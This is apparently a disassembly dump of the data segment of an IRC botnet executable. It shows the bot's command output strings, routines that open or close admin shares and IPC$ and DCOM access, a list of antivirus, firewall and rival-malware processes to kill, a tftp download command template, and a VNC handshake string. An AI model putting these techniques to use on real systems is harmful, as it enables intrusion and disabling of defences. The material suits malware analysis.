203A0365h dd 5325h unk_4385CC db 2Dh ; - ; DATA XREF: sub_41BE8A+7Co db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aMessageSentSuc db '- message sent successfully',0 align 4 unk_4385F4 db 2Dh ; - ; DATA XREF: sub_41BF46+65o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoServiceSpec db '- %s: no service specified',0 unk_438618 db 2Dh ; - ; DATA XREF: sub_41BF46+4Fo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0 align 4 unk_438644 db 2Dh ; - ; DATA XREF: sub_41BF46+33o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSServiceS db '- %s service: ',27h,'%s',27h,0 unk_438660 db 2Dh ; - ; DATA XREF: sub_41BFBE+AAo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoShareSpecif db '- %s: no share specified',0 align 4 dword_438684 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h ; DATA XREF: sub_41BFBE+88o dd 73252720h, 27h unk_4386A0 db 2Dh ; - ; DATA XREF: sub_41BFBE+56o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0 align 4 a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_41C07C+CEo align 4 aNo db 'No',0 ; DATA XREF: sub_41C07C+BAo align 4 aYes db 'Yes',0 ; DATA XREF: sub_41C07C+B3o unk_4386EC db 2Dh ; - ; DATA XREF: sub_41C07C+74o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListError db '- share list error %s <%ld>',0 align 4 aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_41C07C+1Do align 4 unk_43874C db 2Dh ; - ; DATA XREF: sub_41C19B+B5o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoUsernameSpe db '- %s: no username specified',0 align 4 unk_438774 db 2Dh ; - ; DATA XREF: sub_41C19B+93o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0 align 4 unk_4387A4 db 2Dh ; - ; DATA XREF: sub_41C19B+6Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSUsernameS db '- %s username: ',27h,'%s',27h,0 align 4 aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_41C265+144o align 4 unk_4387DC db 2Dh ; - ; DATA XREF: sub_41C265:loc_41C350o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aAnAccessViolat db '- an access violation has occured',0 align 4 aS_4 db ' %S',0 ; DATA XREF: sub_41C265+B8o align 10h unk_438810 db 2Dh ; - ; DATA XREF: sub_41C265+78o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListErrorS db '- user list error %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_41C265+1Fo aI11r54n4_exe db 'i11r54n4.exe',0 ; DATA XREF: seg002:004434BCo align 4 aIrun4_exe db 'irun4.exe',0 ; DATA XREF: seg002:004434B8o align 4 aD3dupdate_exe db 'd3dupdate.exe',0 ; DATA XREF: seg002:004434B4o align 4 aRate_exe db 'rate.exe',0 ; DATA XREF: seg002:004434B0o align 10h aSsate_exe db 'ssate.exe',0 ; DATA XREF: seg002:004434ACo align 4 aWinsys_exe db 'winsys.exe',0 ; DATA XREF: seg002:004434A8o align 4 aWinupd_exe db 'winupd.exe',0 ; DATA XREF: seg002:004434A4o align 4 aSysmonxp_exe db 'SysMonXP.exe',0 ; DATA XREF: seg002:004434A0o align 4 aBbeagle_exe db 'bbeagle.exe',0 ; DATA XREF: seg002:0044349Co aPenis32_exe db 'Penis32.exe',0 ; DATA XREF: seg002:00443498o aTeekids_exe db 'teekids.exe',0 ; DATA XREF: seg002:00443494o aMsblast_exe db 'MSBLAST.exe',0 ; DATA XREF: seg002:00443490o aMscvb32_exe db 'mscvb32.exe',0 ; DATA XREF: seg002:0044348Co aSysinfo_exe db 'sysinfo.exe',0 ; DATA XREF: seg002:00443488o aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: seg002:00443484o align 10h aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: seg002:00443480o aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: seg002:0044347Co align 4 aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: seg002:00443478o align 4 aNavw32_exe db 'navw32.exe',0 ; DATA XREF: seg002:00443474o align 4 aZapro_exe db 'zapro.exe',0 ; DATA XREF: seg002:00443470o align 10h aMsblast_exe_0 db 'msblast.exe',0 ; DATA XREF: seg002:0044346Co aNetstat_exe db 'netstat.exe',0 ; DATA XREF: seg002:00443468o aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: seg002:00443464o align 4 aRegedit_exe db 'regedit.exe',0 ; DATA XREF: seg002:off_443460o aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_41C444+183o align 10h dd 234032Dh, 636F7270h, 2D030273h, 6F727020h, 73736563h dd 73696C20h, 61662074h, 64656C69h, 0 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListCom db ' process list complete',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aListingProcess db ' listing processes:',0 aPrivmsgSS_1 db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_41C7F5+33o unk_438A28 db 2Dh ; - ; DATA XREF: seg000:loc_41C9ACo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0 unk_438A58 db 2Dh ; - ; DATA XREF: seg000:0041C9A5o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0 align 10h unk_438A80 db 2Dh ; - ; DATA XREF: seg000:0041C973o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0 align 10h unk_438AB0 db 2Dh ; - ; DATA XREF: sub_41C9D4+198o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0 align 4 dword_438AE4 dd 234032Dh, 2646D63h, 52202D03h, 746F6D65h, 6F432065h ; DATA XREF: sub_41C9D4+150o dd 6E616D6Dh, 72502064h, 74706D6Fh, 0 dword_438B08 dd 5C3A44h, 2444h, 5C3A43h, 2443h, 494D4441h, 244Eh ; DATA XREF: seg002:004434DCo ; seg002:004434D8o ... aIpc db 'IPC$',0 ; DATA XREF: seg002:off_4434C0o align 4 dword_438B28 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: seg000:0041CE70o ; seg000:0041D184o aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_438B58 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: seg000:0041CE5Ao aNetworkSharesD db '- Network shares deleted.',0 align 10h dword_438B80 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: seg000:loc_41CDF3o aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0 align 4 dword_438BAC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: seg000:0041CDECo aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0 align 10h dword_438BD0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: seg000:loc_41CD63o aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0 align 4 dword_438BFC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: seg000:0041CD5Co aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0 align 10h dword_438C20 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: seg000:loc_41CCBBo ; seg000:loc_41CFD9o aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 10h dword_438C50 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: seg000:loc_41CCB4o aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0 dword_438C8C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: seg000:loc_41CC9Co aRestrictedAcce db '- Restricted access to the IPC$ Share.',0 align 10h dword_438CC0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: seg000:0041CC95o aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: seg000:0041CC76o ; seg000:0041CF98o align 10h dword_438D10 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: seg000:0041CC1Ao ; seg000:0041CF3Co aFailedToOpenDc db '- Failed to open DCOM registry key.',0 dword_438D40 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh ; DATA XREF: seg000:loc_41CBFCo dd 62617369h, 2E64656Ch, 0 dword_438D60 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: seg000:0041CBF5o aDisableDcomFai db '- Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: seg000:0041CBDDo ; seg000:0041CEFFo align 10h dword_438D90 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: seg000:0041D16Co aNetworkSharesA db '- Network shares added.',0 aC_0 db '%c:\',0 ; DATA XREF: seg000:0041D0D6o align 4 aC_1 db '%c$',0 ; DATA XREF: seg000:0041D0C5o dword_438DC0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: seg000:loc_41D058o ; seg000:loc_41D11Fo aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0 dword_438DE8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: seg000:0041D051o ; seg000:0041D118o aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0 dword_438E08 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: seg000:loc_41CFD2o aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0 dword_438E44 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: seg000:loc_41CFBAo aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0 align 4 dword_438E7C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: seg000:0041CFB3o aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0 align 4 dword_438EBC dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh ; DATA XREF: seg000:loc_41CF1Eo dd 6C62616Eh, 2E6465h dword_438ED8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: seg000:0041CF17o aEnableDcomFail db '- Enable DCOM failed.',0 align 4 flt_438EFC dd 9.765625e-4 ; DATA XREF: sub_41D235+1B9r flt_438F00 dd 8.0 ; DATA XREF: sub_41D235+1B3r flt_438F04 dd 0.0 ; DATA XREF: sub_41D235+170r flt_438F08 dd 1.0e-3 ; DATA XREF: sub_41D235:loc_41D39Cr flt_438F0C dd 4.2949673e9 ; DATA XREF: sub_41D235+161r ; sub_41D235+1AAr aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D235+D5o db 'Host: %s',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 0Dh,0Ah,0 align 8 dword_438F48 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h ; DATA XREF: sub_41D41B+1A7o dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h dd 25203A02h, 626B2064h, 732F7469h, 0 aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41D41B+C4o align 4 aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41D41B+BDo aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41D41B+B6o align 4 aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41D41B+AFo align 4 aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41D41B+A8o align 10h aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41D41B+A1o aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41D41B+9Ao align 4 aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41D41B+93o align 4 aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41D41B+8Co align 4 aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41D41B+85o align 4 aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41D41B+7Eo align 4 aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41D41B+77o align 4 aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41D41B+70o align 4 aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41D41B+69o aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41D41B+62o aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41D41B+5Bo align 4 aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41D41B+54o align 4 aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41D41B+4Do align 4 aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41D41B+46o align 4 aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41D41B+3Fo align 4 aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41D41B+38o align 4 aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41D41B+31o align 4 aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41D41B+2Ao align 4 aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41D41B+23o align 4 aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41D41B+1Co align 4 aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41D41B+15o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_41D5F8+39o dword_439160 dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah ; DATA XREF: sub_41D779+24Co dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h dd 74705502h, 2656D69h, 7325203Ah, 2Eh aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_41D779+161o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41D779:loc_41D8ACo align 10h aSS_4 db '%s (%s)',0 ; DATA XREF: sub_41D779+C0o dword_439268 dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h ; DATA XREF: sub_41D9E5+9Eo dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h dd 7325203Ah, 2Eh off_4392AC dd offset word_412F4E ; DATA XREF: sub_41D9E5:loc_41DA52o off_4392B0 dd offset loc_4E414C ; DATA XREF: sub_41D9E5:loc_41DA4Bo aDialUp db 'Dial-up',0 ; DATA XREF: sub_41D9E5+57o aNotConnected db 'Not connected',0 ; DATA XREF: sub_41D9E5+41o align 4 db 2Dh ; - db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aUrlVisited_ db ' URL visited.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToConnec db ' Failed to connect to HTTP server.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aCouldNotOpenAC db ' Could not open a connection.',0 align 10h dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h dd 4C525520h, 2Eh, 2A2F2Ah dword_4393A0 dd 2 dup(0) ; DATA XREF: sub_41DCBE+16o dword_4393A8 dd 2 dup(0) ; DATA XREF: sub_41DCBE+Co ; seg000:0041DE0Fo aTftpISGetS db 'tftp -i %s GET %s',0 ; DATA XREF: seg000:0041DFB8o align 4 aC_2 db '%c',0 ; DATA XREF: seg000:0041DF37o align 4 dword_4393C8 dd 0DFFh ; DATA XREF: seg000:0041DE24o dword_4393CC dd 0EBFFh ; DATA XREF: seg000:0041DE19o dword_4393D0 dd 201h ; DATA XREF: seg000:0041DE04o aRfb003_008 db 'RFB 003.008',0Ah,0 ; DATA XREF: seg000:0041DDF8o align 4 aCorexitprocess db 'CorExitProcess',0 ; DATA XREF: sub_41F116+Fo align 4 aMscoree_dll db 'mscoree.dll',0 ; DATA XREF: sub_41F116o oword_439400 xmmword 3FF00000000000003FF0000000000000h ; DATA XREF: sub_41FCC0+E3r oword_439410 xmmword 4330000000000000433h ; DATA XREF: sub_41FCC0+46r oword_439420 xmmword 4330000000000000BFF0000000000000h ; DATA XREF: sub_41FCC0+10Er oword_439430 xmmword 80000000000000008000000000000000h ; DATA XREF: sub_41FCC0:loc_41FDBDr ; sub_41FCC0+106r oword_439440 xmmword 7FFh ; DATA XREF: sub_41FCC0+5Fr dword_439450 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_420383+Eo dd 3, 19930520h, 2 dup(0) oword_439470 xmmword 3FF00000000000003FF0000000000000h ; DATA XREF: sub_4203C0+E3r ; sub_4203C0+10Ar oword_439480 xmmword 4330000000000000433h ; DATA XREF: sub_4203C0+46r oword_439490 xmmword 0 ; DATA XREF: sub_4203C0:loc_4204C1r oword_4394A0 xmmword 7FFh ; DATA XREF: sub_4203C0+5Fr dbl_4394B0 db 0, 0, 0, 0, 0, 0, 0, 80h ; DATA XREF: sub_4203C0:loc_4204BAr byte_4394B8 db 0FFh ; DATA XREF: sub_4222C8+5Er db 3 dup(0FFh) dd offset dword_4209F0+6Ch dd offset dword_4209F0+70h align 8 dword_4394C8 dd 0FFFFFFFFh, 420EAFh, 420EC3h, 0 ; DATA XREF: start-C32F1o byte_4394D8 db 6 ; DATA XREF: sub_4222C8:loc_422334r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 db 8,'`h````',0 dd 78707000h, 8787878h, 807h, 8080007h, 8000008h, 7000800h dd 8 aNull_0: ; DATA XREF: seg002:off_4437D0o unicode 0, <(null)>,0 align 4 aNull db '(null)',0 ; DATA XREF: seg002:off_4437CCo align 10h dword_439550 dd 0FFFFFFFFh, 422B6Fh, 422B73h, 41h dup(0) ; DATA XREF: sub_422B83-2Fo asc_439660: ; DATA XREF: seg002:off_4437D8o unicode 0, < ((((( H> dw 10h dd 7 dup(100010h), 5 dup(840084h), 3 dup(100010h), 810010h dd 2 dup(810081h), 10081h, 9 dup(10001h), 100001h, 2 dup(100010h) dd 820010h, 2 dup(820082h), 20082h, 9 dup(20002h), 100002h dd 100010h, 200010h, 40h dup(0) db 2 dup(0) word_439862 dw 20h ; DATA XREF: seg002:off_4437DCo aHH: unicode 0, < h(((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(1810181h), 0Ah dup(1010101h), 3 dup(100010h) dd 3 dup(1820182h), 0Ah dup(1020102h), 2 dup(100010h) dd 10h dup(200020h), 480020h, 8 dup(100010h), 140010h dd 100014h, 2 dup(100010h), 100014h, 2 dup(100010h), 1010010h dd 0Bh dup(1010101h), 1010010h, 3 dup(1010101h), 0Ch dup(1020102h) dd 1020010h, 3 dup(1020102h), 1010102h, 0 dword_439A68 dd 0FFFFFFFFh, 423284h, 423288h, 0 ; DATA XREF: sub_423257+2o dd 0FFFFFFFFh, 4232C8h, 4232CCh, 0 dword_439A88 dd 0FFFFFFFFh, 4239CBh, 4239CFh, 2 dup(0) ; DATA XREF: sub_423327+5o dd 7FF00000h, 0 dd 0FFF00000h, 0 dd 7FE00000h, 0 dd 200000h, 3 dup(0) dd 80000000h, 7F800000h, 0FF800000h, 7FC00000h, 0FFC00000h dd 0 dd 80000000h, 7149F2CAh, 0F149F2CAh, 0DA24260h, 8DA24260h dd 0C2F8F359h, 1A56E1Fh, 0C2F8F359h, 81A56E1Fh aAtan db 'atan',0 ; DATA XREF: sub_424391:loc_4245CAo align 4 aCeil db 'ceil',0 ; DATA XREF: sub_424391:loc_4245C1o align 10h aFloor db 'floor',0 ; DATA XREF: sub_424391:loc_4245B8o align 4 aModf db 'modf',0 ; DATA XREF: sub_424391+20Fo align 10h aExp2 db 'exp2',0 ; DATA XREF: sub_424391:loc_424543o align 4 aExp10 db 'exp10',0 ; DATA XREF: sub_424391+1A2o align 10h aLog2 db 'log2',0 ; DATA XREF: sub_424391:loc_424510o ; sub_424391+192o align 4 aPow db 'pow',0 ; DATA XREF: sub_424391:loc_42443Bo ; sub_424391+CFo ... aLog10 db 'log10',0 ; DATA XREF: sub_424391:loc_4243FEo ; sub_424391+7Co ... align 4 aExp db 'exp',0 ; DATA XREF: sub_424391+4Eo ; sub_424391+61o ... dword_439B48 dd 0FFFFFFFFh, 42463Eh, 424642h ; DATA XREF: sub_42461D+2o aAuthenticamd db 'AuthenticAMD',0 ; DATA XREF: seg000:004246C5o align 8 dbl_439B68 dq 1.0 ; DATA XREF: sub_424720+6Dr ; sub_424BE6+2Ar ... dbl_439B70 dq 0.0 ; DATA XREF: sub_42751C+8Dr ; sub_42751C+AFr ... aE000 db 'e+000',0 ; DATA XREF: sub_42490B+93o align 10h dbl_439B80 dq 4.195835e6 ; DATA XREF: sub_424BE6+Fr dbl_439B88 dq 3.145727e6 ; DATA XREF: sub_424BE6+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_424C26+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_424C26o align 4 dword_439BB8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_424CB7+2o dd offset word_424D5E align 8 dd offset dword_424D24 dd offset dword_424D24+9 dword_439BD0 dd 0FFFFFFFFh, 424DA8h, 424DB1h, 0 ; DATA XREF: sub_424D74+2o dword_439BE0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_424DD8+2o dd offset dword_424F14+2 align 10h dd offset aLeL ; "‹Eì‹" dd offset dword_424E58+49h dword_439BF8 dd 0FFFFFFFFh, 4250F2h, 4250F6h, 0 ; DATA XREF: sub_424F82+2o dword_439C08 dd 0FFFFFFFFh, 4254D2h, 4254D6h, 0 ; DATA XREF: sub_4254B5+2o dword_439C18 dd 0FFFFFFFFh, 4254FFh, 425503h ; DATA XREF: sub_4254E2+2o dword_439C24 dd 0 ; DATA XREF: sub_425B55+1Co ; sub_426DA0+1Eo ... dword_439C28 dd 0FFFFFFFFh, 425E4Eh, 425E52h, 0FFFFFFFFh, 425C4Bh, 425C4Fh ; DATA XREF: sub_425B55+2o dd 0FFFFFFFFh, 425D19h, 425D1Dh, 746E7572h, 20656D69h dd 6F727265h, 2072h, 534F4C54h, 72652053h, 0D726F72h, 0Ah dd 474E4953h, 72726520h, 0A0D726Fh, 0 aDomainError db 'DOMAIN error',0Dh,0Ah,0 align 10h aR6029ThisAppli db 'R6029',0Dh,0Ah db '- This application cannot run using the active version of the Mic' db 'rosoft .NET Runtime',0Ah db 'Please contact the application',27h,'s support team for more informa' db 'tion.',0Dh,0Ah,0 align 4 aR6028UnableToI db 'R6028',0Dh,0Ah db '- unable to initialize heap',0Dh,0Ah,0 align 4 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aThisApplicatio db 0Dh,0Ah db 'This application has requested the Runtime to terminate it in an ' db 'unusual way.',0Ah db 'Please contact the application',27h,'s support team for more informa' db 'tion.',0Dh,0Ah,0 align 10h aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 4 aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: seg002:off_443A8Co db '- floating point not loaded',0Dh,0Ah,0 align 10h aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_426069+123o ; sub_426FC0+132o align 4 asc_43A018 db 0Ah ; DATA XREF: sub_426069+107o ; sub_426FC0+FCo db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_426069+F5o db 0Ah db 'Program: ',0 align 4 a___ db '...',0 ; DATA XREF: sub_426069+C1o ; sub_426FC0+CCo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_426069+8Eo ; sub_426FC0+8Bo align 8 dword_43A058 dd 0FFFFFFFFh, 426E79h, 426E7Dh ; DATA XREF: sub_426DA0+2o aProgram db 'Program: ',0 ; DATA XREF: sub_426FC0+108o align 10h aABufferOverrun db 'A buffer overrun has been detected which has corrupted the progra' ; DATA XREF: sub_426FC0+62o db 'm',27h,'s',0Ah db 'internal state. The program cannot safely continue execution and' db ' must',0Ah db 'now be terminated.',0Ah,0 aBufferOverrunD db 'Buffer overrun detected!',0 ; DATA XREF: sub_426FC0:loc_42701Do align 10h aASecurityError db 'A security error of unknown cause has been detected which has',0Ah ; DATA XREF: sub_426FC0+4Co db 'corrupted the program',27h,'s internal state. The program cannot sa' db 'fely',0Ah db 'continue execution and must now be terminated.',0Ah,0 align 4 aUnknownSecurit db 'Unknown security failure detected!',0 ; DATA XREF: sub_426FC0+47o align 4 dword_43A208 dd 0FFFFFFFFh, 426FF8h, 426FFCh, 78656E5Fh, 74666174h ; DATA XREF: sub_426FC0+5o dd 7265h, 676F6C5Fh, 62h, 6E795Fh, 31795Fh, 30795Fh, 78657266h dd 70h, 646F6D66h, 0 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aFabs db 'fabs',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 10h aAcos db 'acos',0 align 4 aAsin db 'asin',0 align 10h aTanh db 'tanh',0 align 4 aCosh db 'cosh',0 align 10h aSinh db 'sinh',0 align 4 dword_43A2A8 dd 0FFFFFFFFh, 4283F0h, 4283F4h ; DATA XREF: sub_42831E+2o aGetprocesswind db 'GetProcessWindowStation',0 ; DATA XREF: sub_428710+73o aGetuserobjecti db 'GetUserObjectInformationA',0 ; DATA XREF: sub_428710+62o align 4 aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_428710+47o align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_428710+3Fo aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_428710+2Eo a1Qnan db '1#QNAN',0 ; DATA XREF: sub_428FE8:loc_4290D4o align 10h a1Inf db '1#INF',0 ; DATA XREF: sub_428FE8+CFo align 4 a1Ind db '1#IND',0 ; DATA XREF: sub_428FE8+BEo align 10h a1Snan db '1#SNAN',0 ; DATA XREF: sub_428FE8+A4o align 4 dd offset dword_43A474 off_43A33C dd offset byte_429779 ; DATA XREF: sub_429712+20o ; sub_429823+26o dd offset word_42974E dd offset dword_43A4C0 off_43A348 dd offset byte_429795 ; DATA XREF: sub_42987E+33o ; sub_42987E+4Co dd offset word_42974E dd offset dword_43A50C off_43A354 dd offset dword_4297BC ; DATA XREF: sub_4297E3+33o dd offset word_42974E aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_4297E3+Do aStringTooLong db 'string too long',0 ; DATA XREF: sub_42987E+Do dd offset dword_43A550 off_43A388 dd offset dword_429998+12h ; DATA XREF: seg002:off_443FC4o ; seg002:off_443FDCo ... dd offset dword_43A57C off_43A390 dd offset dword_429A44 ; DATA XREF: sub_4299C6+Ao ; sub_4299D7+8o dd offset dword_429A24+13h 